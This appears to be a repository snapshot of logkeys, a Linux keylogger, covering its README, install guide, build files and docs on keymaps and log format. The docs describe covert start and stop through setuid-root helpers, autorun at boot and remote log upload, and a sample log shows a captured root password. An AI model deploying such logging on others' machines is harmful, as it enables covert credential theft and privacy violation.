├── .github ├── FUNDING.yml └── workflows │ └── ci.yml ├── .gitignore ├── COPYING ├── ChangeLog ├── INSTALL ├── Makefile.am ├── README.md ├── TODO ├── autogen.sh ├── build └── .gitignore ├── configure.ac ├── docs ├── Documentation.md ├── Keymaps.md ├── Logfiles.md ├── PostHTTP.md ├── ProjectHome.md ├── docs_warning.png └── keyboard.png ├── keymaps ├── ca_FR.map ├── cs_CZ.map ├── de.map ├── de_CH.map ├── en_GB.map ├── en_US_dvorak.map ├── en_US_ubuntu_1204.map ├── es_AR.map ├── es_ES.map ├── fr-dvorak-bepo.map ├── fr.map ├── fr_CH.map ├── hu.map ├── it.map ├── no.map ├── pl.map ├── pt_BR.map ├── pt_PT.map ├── ro.map ├── ru.map ├── sk_QWERTY.map ├── sk_QWERTZ.map ├── sl.map ├── sv.map └── tr.map ├── man ├── Makefile.am └── logkeys.8 ├── scripts ├── Makefile.am ├── logkeys-kill.sh └── logkeys-start.sh └── src ├── Makefile.am ├── args.cc ├── keytables.cc ├── llk.cc ├── llkk.cc ├── logkeys.cc ├── upload.cc └── usage.cc /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: kernc 2 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | on: 3 | push: { branches: [master] } 4 | pull_request: { branches: [master] } 5 | schedule: [ cron: '12 15 * * 6' ] # Every Saturday, 15:12 6 | 7 | jobs: 8 | build: 9 | name: Build 10 | runs-on: ubuntu-latest 11 | 12 | strategy: 13 | matrix: 14 | compiler: [gcc, clang] 15 | 16 | steps: 17 | - name: Checkout repo 18 | uses: actions/checkout@v2 19 | 20 | - name: Install dependencies 21 | run: | 22 | sudo apt install \ 23 | autogen autotools-dev \ 24 | kbd # provides dumpkeys 25 | 26 | - name: Build 27 | env: 28 | CC: ${{ matrix.compiler }} 29 | run: | 30 | ./autogen.sh 31 | cd build 32 | ../configure --prefix=/usr/local 33 | make 34 | 35 | - name: Test 36 | run: | 37 | cd build 38 | src/logkeys --help 39 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore autogen.sh generated artifacts 2 | Makefile.in 3 | aclocal.m4 4 | configure 5 | config.h.in 6 | autom4te.cache 7 | 8 | # Devs should be configuring and building in the ./build directory 9 | build/ 10 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 14 rue de Plaisance, 75014 Paris, France 6 | 7 | Everyone is permitted to copy and distribute verbatim or modified 8 | copies of this license document, and changing it is allowed as long 9 | as the name is changed. 10 | 11 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 12 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 13 | 14 | 0. You just DO WHAT THE FUCK YOU WANT TO. 15 | 16 | 17 | ===================================================================== 18 | If above license terms aren't acceptable to you, consider the project 19 | licensed under GNU GPLv3+. 20 | -------------------------------------------------------------------------------- /ChangeLog: -------------------------------------------------------------------------------- 1 | v0.2.0 (2019-10-15) 2 | * recognize Logitech k7570 keyboard 3 | * recognize other Logitech keyboards 4 | * updated documentation 5 | * added Standard Polish, Swiss High German, French Canadian keymaps 6 | * added 'us en' keymap for ubuntu 12.04 7 | * added Czech keymap 8 | * added option to print to stdout 9 | * added --no-daemon switch for running in foreground 10 | * log uppercase letters when CapsLock is on 11 | * update Italian keymap 12 | * added English Dvorak keymap 13 | * update installation instructions 14 | * added --timestamp-every flag to timestamp every key press 15 | 16 | v0.1.1c (2016-06-02) 17 | * fix issue #60 18 | * fix issue #42 19 | * fix issue #45 20 | * added a directory with all 19 existing keymap files 21 | 22 | v0.1.1b (2010-01-23) 23 | * minor update to man file 24 | * fix a bug with older g++ 25 | * fix "finding" UTF-8 26 | * fix if conditions with --export-keymap switch 27 | * improve device auto-detection 28 | 29 | v0.1.1a (2010-05-31) 30 | * fixed 100% CPU issue on x64 31 | * various other bug fixes 32 | * removed pgrep dependency 33 | * PID file now in /var/run/ 34 | * symlink attack vulnerability fixes 35 | * other security fixes 36 | * code refactoring 37 | * remote log uploading via HTTP 38 | * lkl and lklk are now llk and llkk to avoid confusion 39 | * llk and llkk are now programs that run logkeys-start.sh/-stop.sh scripts 40 | * also recognize "HID" USB keyboard devices 41 | * bug fixes 42 | 43 | v0.1.0 (2010-01-05) 44 | * initial release 45 | -------------------------------------------------------------------------------- /INSTALL: -------------------------------------------------------------------------------- 1 | logkeys keylogger - installation instructions 2 | ============================================= 3 | 4 | Provided your GNU/Linux distribution doesn't include logkeys package 5 | in its repositories, manual installation of logkeys from source is as 6 | easy as cloning this repo or downloading a zip of the 7 | source (), 8 | unzipping, configuring, and building. 9 | 10 | Prerequisites 11 | ------------- 12 | 13 | You need some tools to build the code from source: 14 | 15 | # On Debian-based distros 16 | apt install build-essential autotools-dev autoconf kbd 17 | 18 | # On openSUSE 19 | zypper install automake gcc-c++ kbd 20 | 21 | # on Fedora/Redhat/CentOS 22 | dnf install automake make gcc-c++ kbd 23 | 24 | # on ArchLinux 25 | pacman -S base-devel kbd 26 | 27 | 28 | Build and Install 29 | ----------------- 30 | 31 | $ unzip logkeys-master.zip # or use git clone 32 | $ cd logkeys-master 33 | 34 | $ ./autogen.sh # generate files for build 35 | $ cd build # keeps the root and src dirs clean 36 | $ ../configure 37 | 38 | $ make 39 | $ su # get root to install in system 40 | $ make install # installs binaries, manuals and scripts 41 | 42 | To uninstall logkeys, remove accompanying scripts and manuals: 43 | 44 | $ make uninstall # in the same build dir 45 | 46 | See README file for usage instructions, troubleshooting and other notes. 47 | 48 | Cleaning after a build 49 | ---------------------- 50 | 51 | `autogen.sh` and `configure` generate many files which are ignored by 52 | git. All of these files can be removed from the project, e.g. to 53 | force a clean build, with the following: 54 | 55 | git clean -xdf 56 | -------------------------------------------------------------------------------- /Makefile.am: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign 2 | SUBDIRS = src man scripts 3 | EXTRA_DIST = src/keytables.cc src/usage.cc src/args.cc src/upload.cc build man/logkeys.8 scripts/logkeys-start.sh scripts/logkeys-kill.sh -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | logkeys - a GNU/Linux keylogger 2 | =============================== 3 | 4 | [![Build Status](https://img.shields.io/github/actions/workflow/status/kernc/logkeys/ci.yml?branch=master&style=for-the-badge)](https://github.com/kernc/logkeys/actions) 5 | 6 | logkeys is a linux keylogger. It is no more advanced than other available linux 7 | keyloggers, notably lkl and uberkey, but is a bit newer, more up to date, it 8 | doesn't unreliably repeat keys and it shouldn't crash your X. All in all, it 9 | just seems to work. It relies on event interface of the Linux input subsystem. 10 | Once completely set, it logs all common character and function keys, while also 11 | being fully aware of Shift and AltGr key modifiers. 12 | 13 | Installation 14 | ------------ 15 | 16 | See [INSTALL](./INSTALL) for installation/build notes. 17 | 18 | Usage how-to 19 | ------------ 20 | 21 | Abuse the output of this software wisely. 22 | 23 | logkeys is simple. You can either invoke it directly, by typing full command 24 | line, or use the provided scripts. There are two helper programs in this 25 | package: 26 | 27 | - bin/llk, which is intended to start the logkeys daemon, and 28 | - bin/llkk, which is intended to kill it. 29 | 30 | bin/llk runs etc/logkeys-start.sh, and bin/llkk runs etc/logkeys-kill.sh. 31 | 32 | You can use these two setuid root programs (llk and llkk) for starting and 33 | stopping the keylogger quickly and covertly. You can modify the .sh scripts as 34 | you like. As the two programs are installed with setuid bit set, the root 35 | password need not be provided at their runtime. 36 | 37 | Default log file is `/var/log/logkeys.log` and is not readable by others. 38 | 39 | I suggest you first test the program manually with 40 | 41 | $ touch test.log 42 | $ logkeys --start --output test.log 43 | 44 | and in the other terminal follow it with 45 | 46 | $ tail --follow test.log 47 | 48 | and see if the pressed keys match to those noted. If you use a US keyboard 49 | layout, use -u switch. Make sure your terminal character locale is set to UTF-8 50 | 51 | $ locale 52 | LANG=xx_YY.UTF-8 53 | LC_CTYPE="xx_YY.UTF-8" 54 | ... 55 | 56 | or alternatively, you need en_US.UTF-8 locale available on your system 57 | 58 | $ locale -a 59 | ... 60 | en_US.UTF-8 61 | ... 62 | 63 | otherwise you may only see odd characters (like ꑶ etc.) when pressing character 64 | keys. 65 | 66 | logkeys acts as a daemon, and you stop the running logger process with 67 | `$ logkeys --kill`, or use the `bin/llkk` script. 68 | 69 | Documentation 70 | ------------- 71 | 72 | For more information about logkeys log file format, logkeys keymap 73 | format, and command line arguments, read the application manual, `$ 74 | man logkeys`, or read [the documentation](./docs). 75 | 76 | Troubleshooting 77 | --------------- 78 | 79 | ### empty log file or 'Error opening input event device' 80 | 81 | After you run logkeys successfully, if you open the log file and see only the 82 | 'Logging started...' and 'Logging stopped...' tag without any keypress 83 | "contents," it is very likely that logkeys got your device id wrong. 84 | 85 | This may also apply if you get the following error: `Error opening 86 | input event device '/dev/input/event-1'` 87 | 88 | The solution is to determine the correct event device id, and then run 89 | logkeys with --device (-d) switch, specifying that device manually. 90 | 91 | The procedure for manually learning the device id to use is as follows: 92 | 93 | As root, for each existing device eventX in /dev/input/, where X is a number 94 | between 0 and 31 inclusively, write: 95 | 96 | $ cat /dev/input/eventX 97 | 98 | then type some arbitrary characters. If you see any output, that is the device 99 | to be used. If you don't see any output, press Ctrl+C and continue with the 100 | next device. 101 | 102 | If this happened to be your issue, *please* submit a bug report, attaching 103 | your `/proc/bus/input/devices` file as well as and specifying which was the 104 | correct id. 105 | 106 | 107 | ### logkeys outputs wrong characters 108 | 109 | It is very likely that you will see only some characters recognized, without 110 | any hope for Shift and AltGr working even slightly correct, especially when 111 | starting logkeys in X. In that case it is better to switch to virtual 112 | terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute: 113 | 114 | $ logkeys --export-keymap my_lang.keymap 115 | 116 | Then open my_lang.keymap in UTF-8 enabled text editor and manually repair any 117 | missing or incorrectly determined mappings. From then on, execute logkeys by 118 | 119 | $ logkeys --start --keymap my_lang.keymap 120 | 121 | Again, see if it now works correctly (character keys appear correct when you 122 | are viewing the log file in editor), and opt to modify bin/llk starter script. 123 | 124 | If you create full and completely valid keymap for your particular language, 125 | please attach it to a new issue. 126 | 127 | 128 | Further information 129 | ------------------- 130 | 131 | Read the man page. Please read the whole man page. Thanks. :-) 132 | 133 | Refer to troubleshooting and FAQ sections in [the 134 | docs](./docs/Documentation.md), for currently known issues, ways to 135 | resolve them, and any other information. 136 | 137 | Report any bugs and request reasonable features on the [issues 138 | list](https://github.com/kernc/logkeys/issues). When opening new 139 | issues, always provide a good summary and description. 140 | 141 | Contribute 142 | ---------- 143 | 144 | You are more than welcome to implement unreasonable features yourself, as well 145 | as hack the program to your liking. 146 | 147 | If you have suggestions, or are a pr0 and can answer any of the questions in the source, please contribute: 148 | 149 | 1. Fork this project 150 | 1. Create your feature branch (`git checkout -b my-new-feature`) 151 | 1. Commit your changes (`git commit -am 'Add some feature'`) 152 | 1. Push to the branch (`git push origin my-new-feature`) 153 | 1. Create new Pull Request 154 | 155 | 156 | License 157 | ------- 158 | 159 | logkeys is dual licensed under the terms of either GNU GPLv3 or later, or 160 | WTFPLv2 or later. It is entirely your choice! See COPYING for further 161 | information about licensing. 162 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | -> Add automated testing scripts to verify behaviour and operation 2 | 3 | -> Add automated smoke test of keymaps (ensure they can be parsed, at least), 4 | and provide and document facility in the code for people to validate 5 | keymaps they create. 6 | 7 | -> Clean up imported docs in "./docs", remove redundant docs 8 | 9 | -> Add support for sending logs via mail 10 | 11 | -> Also log title of the focused window 12 | 13 | -> Extract clipboard contents 14 | 15 | -> Add support for mouse events (i.e. on mouse click the focus may have changed) 16 | -------------------------------------------------------------------------------- /autogen.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | set -e 3 | 4 | # Use this script to bootstrap your build AFTER checking it out from 5 | # source control. You should not have to use it for anything else. 6 | 7 | # Runs autoconf, autoheader, aclocal, automake, autopoint, libtoolize 8 | echo 9 | echo "Regenerating autotools files ..." 10 | aclocal \ 11 | && autoheader \ 12 | && automake --add-missing \ 13 | && autoconf 14 | 15 | echo "... done. Now please do the following:" 16 | echo 17 | echo " cd build; ../configure; make; su; make install" 18 | echo 19 | -------------------------------------------------------------------------------- /build/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore everything in this directory, 2 | # but this directory should be available on checkout. 3 | 4 | * 5 | 6 | # Don't ignore this file 7 | !.gitignore -------------------------------------------------------------------------------- /configure.ac: -------------------------------------------------------------------------------- 1 | # -*- Autoconf -*- 2 | # Process this file with autoconf to produce a configure script. 3 | 4 | AC_PREREQ(2.64) 5 | AC_INIT([logkeys], m4_esyscmd_s([head -n1 ./ChangeLog | grep -Po '(?<=v)[0-9\.a-z]+' || echo '?.?.?']),[kerncece+logkeys@gmail.com],[],[https://github.com/kernc/logkeys/]) 6 | AC_CONFIG_SRCDIR([src/logkeys.cc]) 7 | AM_INIT_AUTOMAKE([-Wall foreign]) 8 | AC_CONFIG_HEADERS([config.h]) 9 | 10 | # Checks for programs. 11 | 12 | AC_PROG_CXX 13 | AC_PROG_INSTALL 14 | AC_PROG_MAKE_SET 15 | AC_LANG([C++]) 16 | 17 | # More checks for programs. 18 | 19 | AC_CHECK_PROG([FOUND_WHICH], [which], [yes], [no]) 20 | if test x"$FOUND_WHICH" = xno ; then 21 | AC_MSG_ERROR([Required program 'which' is missing.]) 22 | fi 23 | 24 | AC_CHECK_PROG([FOUND_GREP], [grep], [yes], [no]) 25 | if test x"$FOUND_GREP" = xno ; then 26 | AC_MSG_ERROR([Required program 'grep' is missing.]) 27 | fi 28 | AC_DEFINE_UNQUOTED([EXE_GREP], ["`which grep`"], [Holds path to grep executable]) 29 | 30 | AC_CHECK_PROG([FOUND_PS], [ps], [yes], [no]) 31 | if test x"$FOUND_PS" = xno ; then 32 | AC_MSG_ERROR([Required program 'ps' is missing.]) 33 | fi 34 | AC_DEFINE_UNQUOTED([EXE_PS], ["`which ps`"], [Holds path to ps executable]) 35 | 36 | AC_CHECK_PROG([FOUND_DUMPKEYS], [dumpkeys], [yes], [no]) 37 | if test x"$FOUND_DUMPKEYS" = xno ; then 38 | AC_MSG_ERROR([Required program 'dumpkeys' is missing.]) 39 | fi 40 | AC_DEFINE_UNQUOTED([EXE_DUMPKEYS], ["`which dumpkeys`"], [Holds path to dumpkeys executable]) 41 | 42 | # Checks for files 43 | 44 | AC_CHECK_FILE( 45 | [/dev/input], 46 | [], 47 | [AC_MSG_ERROR([Input event interface devices not found in expected location /dev/input/eventX !])] 48 | ) 49 | AC_CHECK_FILE( 50 | [/proc/bus/input/devices], 51 | [], 52 | [AC_MSG_ERROR([/proc/bus/input/devices is required to guess the correct keyboard input device.])] 53 | ) 54 | 55 | # Checks for header files. 56 | 57 | AC_CHECK_HEADERS( 58 | [cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h], 59 | [], 60 | [AC_MSG_ERROR([Expected header file is missing!])] 61 | ) 62 | 63 | # Checks for typedefs, structures, and compiler characteristics. 64 | 65 | AC_HEADER_STDBOOL 66 | AC_C_INLINE 67 | AC_TYPE_PID_T 68 | AC_TYPE_SIZE_T 69 | 70 | # Checks for library functions. 71 | 72 | AC_FUNC_ERROR_AT_LINE 73 | AC_FUNC_FORK 74 | AC_CHECK_FUNCS( 75 | [geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy popen pclose], 76 | [], 77 | [AC_MSG_ERROR([Expected function is missing!])] 78 | ) 79 | 80 | AC_CONFIG_FILES([Makefile src/Makefile man/Makefile scripts/Makefile]) 81 | AC_OUTPUT 82 | -------------------------------------------------------------------------------- /docs/Documentation.md: -------------------------------------------------------------------------------- 1 | ![warning](./docs_warning.png) 2 | 3 | # License # 4 | logkeys is dual licensed under the terms of either [GNU GPLv3](http://www.gnu.org/licenses/gpl-3.0.html) or later (required by Google), or [WTFPLv2](http://sam.zoy.org/wtfpl/) or later. Pick whichever you prefer! 5 | 6 | # Installation # 7 | 8 | If you have ever installed a Linux program from source, then you should have no trouble installing logkeys. 9 | 10 | If you haven't installed from source yet, it is likely you are missing a C++ compiler installed. 11 | Before proceeding please ensure you have **g++** and "similarly trivial tools" ready. 12 | ``` 13 | $ sudo apt-get install g++ # to install g++ on a Debian-based OS 14 | ``` 15 | Proceed with 16 | ``` 17 | $ tar xvzf logkeys-0.1.1a.tar.gz # to extract the logkeys archive 18 | 19 | $ cd logkeys-0.1.1a/build # move to build directory to build there 20 | $ ../configure # invoke configure from parent directory 21 | $ make # make compiles what it needs to compile 22 | ( become superuser now ) # you need root to install in system dir 23 | $ make install # installs binaries, manuals and scripts 24 | ``` 25 | If you run on any errors during configure stage, your machine must be in a very poor shape. Before installing please confirm that you have a 2.6 branch of Linux kernel, and standard command line utilities such as **ps**, **grep**, and especially **dumpkeys**. 26 | 27 | logkeys relies on **dumpkeys** to output at least half correct keysym bindings. For this to be true, you have to set your console keymap. If you have keyboard correctly set to your language in X, **verify that the same characters appear on a virtual terminal** (Ctrl+Alt+Fn) **also**. 28 | 29 | [How to set console keymap?](http://www.google.com/search?q=how+to+set+console+keymap) 30 | 31 | logkeys also relies on en\_US.UTF-8 locale being present on the system, or any other language using UTF-8. You can confirm you are using UTF-8 locale, if you say 32 | ```bash 33 | 34 | $ locale -a 35 | C 36 | ... 37 | en_US.utf8 38 | ... 39 | $ locale 40 | LANG=en_US.UTF-8 41 | LC_CTYPE="en_US.UTF-8" 42 | ... 43 | ``` 44 | If `locale -a` does not return among others the result en\_US.UTF-8 and if LC\_CTYPE environmental variable doesn't contain UTF-8, then logkeys may not work correctly. 45 | 46 | If that is the case use either `locale-gen` or install/reconfigure your distribution's locales package, and there include en\_US.UTF-8. 47 | ``` 48 | $ apropos locale 49 | ``` 50 | 51 | # Usage how-to # 52 | 53 | logkeys is simple. You can either invoke it directly, by typing full command line, or use the provided scripts. There are two helper programs in this package: 54 | 55 | * bin/llk , which is intended to start the logkeys daemon, and 56 | * bin/llkk , which is intended to kill it. 57 | 58 | bin/llk runs **_etc/logkeys-start.sh_**, and bin/llkk runs **_etc/logkeys-kill.sh_**. 59 | 60 | You can use these two **setuid root** programs (**llk** and **llkk**) for starting and stopping the keylogger quickly and covertly. You can modify the two .sh scripts as you like. As the programs are installed with setuid bit set, the root password need not be provided at their runtime. 61 | 62 | Default log file is /var/log/logkeys.log and is not readable by others. 63 | 64 | I suggest you first test the program manually with 65 | ``` 66 | $ touch test.log 67 | $ logkeys --start --output test.log 68 | ``` 69 | and in the other terminal follow it with 70 | ``` 71 | $ tail --follow test.log 72 | ``` 73 | and see if the pressed keys match to those noted. If you use a US keyboard layout, use -u switch. Make sure your terminal character locale is set to UTF-8 74 | ``` 75 | $ locale 76 | LANG=xx_YY.UTF-8 77 | LC_CTYPE="xx_YY.UTF-8" 78 | ... 79 | ``` 80 | or alternatively, you need en\_US.UTF-8 locale available on your system 81 | ``` 82 | $ locale -a 83 | ... 84 | en_US.UTF-8 85 | ... 86 | ``` 87 | otherwise you may only see odd characters (like ꑶ etc.) when pressing character keys. 88 | 89 | logkeys acts as a daemon, and you stop the running logger process with 90 | ``` 91 | $ logkeys --kill 92 | ``` 93 | (or bin/llkk provided script). 94 | 95 | Before using logkeys, please read the manual page first. 96 | ``` 97 | $ man logkeys 98 | ``` 99 | 100 | ## Autorun at system start ## 101 | If you want logkeys to autorun when your OS boots, you have several options. 102 | You can edit _/etc/rc.local_ (or _/etc/rc.d/rc.local_) file and add logkeys execution line before the final `exit 0` call, e.g. 103 | ``` 104 | #!/bin/sh -e 105 | # 106 | # rc.local 107 | # 108 | logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4 109 | exit 0 110 | ``` 111 | Alternatively, you can put your custom "logkeys execution line" into _etc/logkeys-start.sh_ file, and then use your desktop's "autorun manager" to run _llk_ program, which will then execute said _logkeys-start.sh_ script without prompting you for root/sudo password. 112 | 113 | logkeys will automatically terminate on shutdown. 114 | 115 | # Troubleshooting # 116 | 117 | ## Empty log file or 'Couldn't determine keyboard device' error ## 118 | After you run logkeys successfully, if you open the log file and see only the 'Logging started...' and 'Logging stopped...' tag without any keypress "contents," it is very likely that logkeys got your device id wrong. 119 | 120 | This may also apply if you get the following error: 121 | ``` 122 | logkeys: Couldn't determine keyboard device. :/ 123 | ``` 124 | 125 | The solution is to determine the correct event device id, and then run logkeys with --device (-d) switch, specifying that device manually. 126 | 127 | The procedure for manually learning the device id to use is as follows: 128 | 129 | As root, for each existing device eventX in /dev/input/, where X is a number between 0 and 31 inclusively, write `$ cat /dev/input/eventX`, and then type some arbitrary characters. If you see any output, that is the device to be used. If you don't see any output, press Ctrl+C and continue with the next device. 130 | 131 | If this happened to be your issue, please checkout the latest version from the repository where keyboard recognition is relatively better implemented. If error persists, please [add an issue](https://github.com/kernc/logkeys/issues), attaching your /proc/bus/input/devices file as well as specifying the correct event id. 132 | 133 | 134 | ## Logkeys outputs wrong characters ## 135 | 136 | It is very likely that you will see only some characters recognized, without any hope for Shift and AltGr working even slightly correct, especially when starting logkeys in X. In that case it is better to switch to virtual terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute: 137 | 138 | ``` 139 | $ logkeys --export-keymap=my_lang.map 140 | ``` 141 | 142 | Then open _my\_lang.map_ in UTF-8 enabled text editor and manually repair any missing or incorrectly determined mappings. Character keys are defined with two to three space-delimited characters per line (first without modifiers, second with shift, third with AltGr), and function keys are strings of **at most** 7 characters. 143 | 144 | Make sure your customized keymap follows the [logkeys keymap format specification](Keymaps.md#format). 145 | 146 | From then on, execute logkeys with **--keymap** switch, e.g. 147 | 148 | ``` 149 | $ logkeys --start --keymap my_lang.map 150 | ``` 151 | 152 | Again, see if it now works correctly (and character keys appear correct when you are viewing the log file in editor), and opt to modify _bin/llk_ starter script. 153 | 154 | If you create full and completely valid keymap for your particular 155 | language, please [upload it as a new 156 | issue](https://github.com/kernc/logkeys/issues). 157 | 158 | Some languages may already have keymaps available; check the [keymaps directory](../keymaps/). 159 | 160 | # Known bugs and limitations # 161 | 162 | Please report all found bugs on the [issues tracking page](https://github.com/kernc/logkeys/issues). 163 | 164 | # Planned features (roadmap) # 165 | 166 | TODO file provided with release currently holds following requests: 167 | 168 | * Add support for sending logs via email. 169 | * Optionally log title of the focused window. 170 | * Capture clipboard contents. 171 | * Add support for mouse events (i.e. on mouse click the focus may have changed). 172 | 173 | If you have time on your hands and the required interest, you are welcome to hack at any of those or completely other features yourself, and submit a PR. 174 | -------------------------------------------------------------------------------- /docs/Keymaps.md: -------------------------------------------------------------------------------- 1 | ![warning](./docs_warning.png) 2 | 3 | # Keymaps 4 | 5 | If neither **--us-keymap** switch nor **--keymap** switch are used, then logkeys determines the keymap automatically with the help of **dumpkeys** command. For it to work even slightly reliably (mapping correct character), [console kernel keymap needs to be set](Documentation#Installation.md). 6 | 7 | If you are using US layout keyboard and need default US keymap, run logkeys with **--us-keymap** switch. 8 | 9 | ## Existing keymaps 10 | 11 | Some keymaps have been committed in this repo. See the [keymaps directory](../keymaps). 12 | 13 | Be aware that using the keymap that matches your keyboard layout doesn't necessarily mean that all keys are covered or that the characters match to those that you type in – the keymap used by your system (loaded by **loadkeys** command for console, and **setxkbmap** command for X) may be set completely arbitrarily. In most cases, though, these should work fine. 14 | 15 | ## Creating keymaps 16 | 17 | You can easily create keymaps for your layout by taking one example 18 | and then modifying it with the help of a keyboard layout tool (e.g., 19 | see the following [example layout tool from 20 | Microsoft](http://msdn.microsoft.com/en-us/goglobal/bb964651.aspx)). 21 | If you create a keymap, please submit a Pull Request to the master 22 | branch of this repo (preferred), or upload it as a [new 23 | issue](https://github.com/kernc/logkeys/issues). Please ensure the 24 | filename has name and locale, if appropriate (e.g., "de_CH.map" vs 25 | just "de.map"). 26 | 27 | ## Format 28 | 29 | The keymap file is expected to be UTF-8 encoded. 30 | 31 | Each line of file represents either one character key or one function 32 | key. The format specifies at least two and up to three 33 | space-delimited characters on character key lines (first character 34 | without modifiers, second with Shift in action, optional third with 35 | AltGr in action), and up to 7 characters long string on function key 36 | lines. 37 | 38 | For example, Slovene or Croatian keymap would look like this (line 39 | numbers are added for convenience only): 40 | 41 | ``` 42 | 1: 43 | 2: 1 ! ~ 44 | 3: 2 " ˇ 45 | 4: 3 # ^ 46 | 5: 4 $ ˘ 47 | 6: 5 % ° 48 | 7: 6 & ˛ 49 | 8: 7 / ` 50 | 9: 8 ( ˙ 51 | 10: 9 ) ´ 52 | 11: 0 = ˝ 53 | 12: ' ? ¨ 54 | 13: + * ¸ 55 | 14: 56 | 15: 57 | 16: q Q \ 58 | 17: w W | 59 | 18: e E € 60 | 19: r R 61 | 20: t T 62 | 21: z Z 63 | 22: u U 64 | 23: i I 65 | 24: o O 66 | 25: p P 67 | 26: š Š ÷ 68 | 27: đ Đ × 69 | 28: 70 | 29: 71 | 30: a A 72 | 31: s S 73 | 32: d D 74 | 33: f F [ 75 | 34: g G ] 76 | 35: h H 77 | 36: j J 78 | 37: k K ł 79 | 38: l L Ł 80 | 39: č Č 81 | 40: ć Ć ß 82 | 41: ¸ ¨ 83 | 42: 84 | 43: ž Ž ¤ 85 | 44: y Y 86 | 45: x X 87 | 46: c C 88 | 47: v V @ 89 | 48: b B { 90 | 49: n N } 91 | 50: m M § 92 | 51: , ; < 93 | 52: . : > 94 | 53: - _ 95 | 54: 96 | 55: 97 | 56: 98 | 57: 99 | 58: 100 | 59: 101 | 60: 102 | 61: 103 | 62: 104 | 63: 105 | 64: 106 | 65: 107 | 66: 108 | 67: 109 | 68: 110 | 69: 111 | 70: 112 | 71: 113 | 72: 114 | 73: 115 | 74: 116 | 75: 117 | 76: 118 | 77: 119 | 78: 120 | 79: 121 | 80: 122 | 81: 123 | 82: 124 | 83: 125 | 84: < > 126 | 85: 127 | 86: 128 | 87: 129 | 88: 130 | 89: 131 | 90: 132 | 91: 133 | 92: 134 | 93: 135 | 94: 136 | 95: 137 | 96: 138 | 97: 139 | 98: 140 | 99: 141 | 100: 142 | 101: 143 | 102: 144 | 103: 145 | 104: 146 | 105: 147 | 106: 148 | ``` 149 | 150 | How does one know which lines belong to character keys and which lines to function keys? 151 | 152 | Well, the easiest way is to use **--export-keymap**, and examine the exported keymap. 153 | Make sure you export in a virtual terminal (Ctrl+Alt+Fn) and not in X as this way there is higher chance of more keys getting exported correctly (don't ask me why). 154 | 155 | Basically, **--export-keymap** ouputs 106 lines for 106 keys, even if some of those keys 156 | aren't located on your keyboard. Lines 1, 14, 15, 28, 29, 42, 54-83, 85-106 belong 157 | to function keys, all other lines (2-13, 16-27, 30-41, 43-53, 84) belong to character keys. 158 | 159 | **Line 57 is reserved for Space** and it should always be ' '. Line 84 is reserved for 160 | the key just right to left Shift that is present on some international layouts. 161 | Other lines can be quite reliably determined by looking at one exported keymap. The 162 | keys generally follow the order of their appearance on keyboard, top-to-bottom left- 163 | to-right. 164 | -------------------------------------------------------------------------------- /docs/Logfiles.md: -------------------------------------------------------------------------------- 1 | ![warning](./docs_warning.png) 2 | 3 | When no **--ouput** option is given, logkeys logs to default log file `/var/log/logkeys.log`. 4 | 5 | # Format # 6 | 7 | Log files are UTF-8 encoded. 8 | 9 | Each logging session is enclosed in "`Logging started...`" and "`Logging stopped at` 10 | ``" strings. Whenever Enter key (Return key) or Ctrl+C or Ctrl+D combination is pressed, a timestamp is appended on a new line (provided **--no-timestamps** is not in effect). 11 | 12 | Timestamp format is "%F %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". Time‐ 13 | stamp is separated from the logged keys by one '>' symbol. 14 | 15 | All character key presses are logged as they appear. All function key presses are 16 | replaced with strings as obtained from [keymap file](Keymaps.md), or as hardcoded when no keymap file is provided. 17 | 18 | If a key is pressed down long enough so it repeats, it is logged only once and then 19 | "`<#+DD>`" is appended, which hints the key was repeated DD more times. DD is a decimal figure, which is not to be taken absolutely correct. 20 | 21 | If a keypress results in keycode, which is not recognized (i.e. key not found on a standard US or Intl 105-key keyboard), then the string "``" is appended, where 22 | XX is the received keycode in hexadecimal format. All new "WWW", "E-Mail", "Vol‐ 23 | ume+", "Media", "Help", etc. keys will result in this error string. 24 | 25 | Using US keyboard layout, one example log file could look like: 26 | ``` 27 | Logging started ... 28 | 29 | 2009-12-11 09:58:17+0100 > lkl 30 | 2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin 31 | 2009-12-11 09:58:26+0100 > R00T_p455\\/0rD 32 | 2009-12-11 09:58:39+0100 > sudo 33 | 2009-12-11 09:58:44+0100 > c<#+53><#+34>c 34 | 2009-12-11 09:58:54+0100 > lklk 35 | 36 | Logging stopped at 2009-12-11 09:58:54+0100 37 | ``` 38 | If the same log was obtained by a logkeys process invoked with **--no-func-keys** option, it would look like: 39 | ``` 40 | Logging started ... 41 | 42 | 2009-12-11 09:58:17+0100 > lkl 43 | 2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin 44 | 2009-12-11 09:58:26+0100 > R00T_p455\\/0rD 45 | 2009-12-11 09:58:39+0100 > sudo 46 | 2009-12-11 09:58:44+0100 > c<#+53>c 47 | 2009-12-11 09:58:54+0100 > lklk 48 | 49 | Logging stopped at 2009-12-11 09:58:54+0100 50 | ``` 51 | Even when **--no-func-keys** is in effect, Space and Tab key presses are logged as a 52 | single space character. 53 | 